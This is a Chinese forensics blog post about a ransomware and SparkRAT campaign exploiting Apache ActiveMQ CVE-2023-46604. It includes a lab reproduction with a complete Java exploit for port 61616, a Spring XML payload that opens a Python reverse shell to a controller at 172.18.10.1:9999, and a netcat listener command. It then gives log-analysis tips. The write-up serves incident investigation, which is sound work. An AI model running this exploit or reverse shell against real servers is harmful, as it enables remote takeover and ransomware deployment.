技术分享 | 取证揭秘:Apache ActiveMQ漏洞背后的勒索软件攻击

弘连网络

共 7929字,需浏览 16分钟

 ·

2024-07-26 17:15





背景介绍





在最近的一起案件中,笔者发现了一起利用Apache ActiveMQ(CVE-2023-46604)漏洞的勒索软件攻击活动。在案件分析中发现,漏洞不仅被用于部署勒索软件,攻击者还通过该漏洞成功部署了SparkRAT。这是一个使用Go语言编写的跨平台远程控制木马,增加了对受害系统的远程控制和操控风险。





漏洞简要说明





Apache ActiveMQ(CVE-2023-46604)漏洞被视为ActiveMQ中最严重的漏洞之一。攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。

从2023年10月25日首次发现至截至2024年1月9日,通过ZoomEye网络空间搜索引擎检索,发现约282557个潜在受影响的IP地址历史记录,主要分布在中国等国家。






漏洞复现与攻击过程






环境准备


1.(ubuntu) 靶机,设置IP地址为:172.18.10.129。

2.(ubuntu)apache-activemq-5.15.10,案件中提取到的漏洞服务程序。

3.(windows)取证工作机,设置IP地址为:172.18.10.1。

4.(windows)Netcat ,是网络测试工具。

5.(windows)NFS ,是http服务器。

复现过程中使用的工具和代码下载地址:

https://pan.forensix.net:7001/f/7acc591d8e3b40fcba41/


步骤一:创建一个“Ubuntu 22.04 LTS”的靶场主机,配置好python和java环境


步骤二:安装Apache-activemq-5.15.10服务程序

1. 解压Apache-activemq-5.15.10压缩包文件

通过XFTP工具上传到/data工作目录下,并进行解压

2. 启动Apache-activemq-5.15.10 服务程序

进入bin目录

cd /data/apache-activemq-5.15.10/bin

启动服务程序

./activemq start

ActiveMQ的靶场已经准备成功(使用浏览器访问http://172.18.10.129:8161可以验证)。


步骤三:漏洞复现

复现过程中使用的工具和代码下载地址:

https://pan.forensix.net:7001/f/7acc591d8e3b40fcba41/


在Windows取证电脑上进行:

1. 创建D:\tools\poc\exploit目录

2. 创建poc.java程序

import java.io.*;import java.net.Socket;
public class poc { public static void main(final String[] args) throws Exception { System.out.println("[*] Poc for ActiveMQ openwire protocol rce"); String ip = "172.18.10.129"; **此处是ActiveMQ服务IP int port = 61616; **此处是ActiveMQ服务端口 String pocxml= "http://172.18.10.1:8000/poc.xml";**此处是指向http服务的POC.xml Socket sck = new Socket(ip, port); OutputStream os = sck.getOutputStream(); DataOutputStream out = new DataOutputStream(os); out.writeInt(0); out.writeByte(31); //dataType ExceptionResponseMarshaller out.writeInt(1); //CommandId out.writeBoolean(true); //ResponseRequired out.writeInt(1); //CorrelationId out.writeBoolean(true); //use true -> red utf-8 string out.writeBoolean(true); out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext"); //use true -> red utf-8 string out.writeBoolean(true); out.writeUTF(pocxml); //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce out.close(); os.close(); sck.close(); System.out.println("[*] Target\t" + ip + ":" + port); System.out.println("[*] XML address\t" + pocxml); System.out.println("[*] Payload send success."); }}

3. 创建poc.xml程序

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">    <constructor-arg>      <list>        <value>python</value> **此处是调用python命令去执行shell命令。        <value>-c</value>  <value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.10.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value> **此处是172.18.10.1 控制端的9999端口      </list>    </constructor-arg>  </bean></beans>

4. 配置NC程序

进入程序目录:

D:\tools\poc\NC
Cmd.exe方式启动NC服务:
nc -L -p  9999

5. 配置HTTP服务器

进入程序目录:

D:\tools\poc\nfs
打开hfs.exe程序,部署http服务器后,并上传poc.xml。

6. 运行poc恶意程序

进入目录文件夹

D:\tools\poc\exploit

找到已创建的Poc文件:

运行poc恶意程序:

 java poc.java

最终结果:

成功反弹shell后,取得控制权,随后执行"ip addr"指令查看被控端的IP地址,结果如下:






取证分析关键点





1. 查看ActiveMQ版本号

./activemq --version

影响版本:

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16


2. 找到ActiveMQ的日志文件:


3. 分析相关日志信息

重点检查ActiveMQ的访问日志,通常记录有关连接和请求的信息。查找与8161和61616端口相关的日志条目,特别关注连接失败、异常或非正常行为。






总结





本篇文章带大家深入地了解了攻击的整个过程,以及对遭受攻击的系统进行的详细调查,包括搜集有关漏洞利用的系统日志、网络通信记录以及其他数字证据。通过详细的取证工作,我们可以更全面地了解攻击者的手法,为后续的安全修复和法律调查提供有力支持。


END

供稿:赵弘
编辑排版:Serene
审核:Spartan117

浏览 65
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报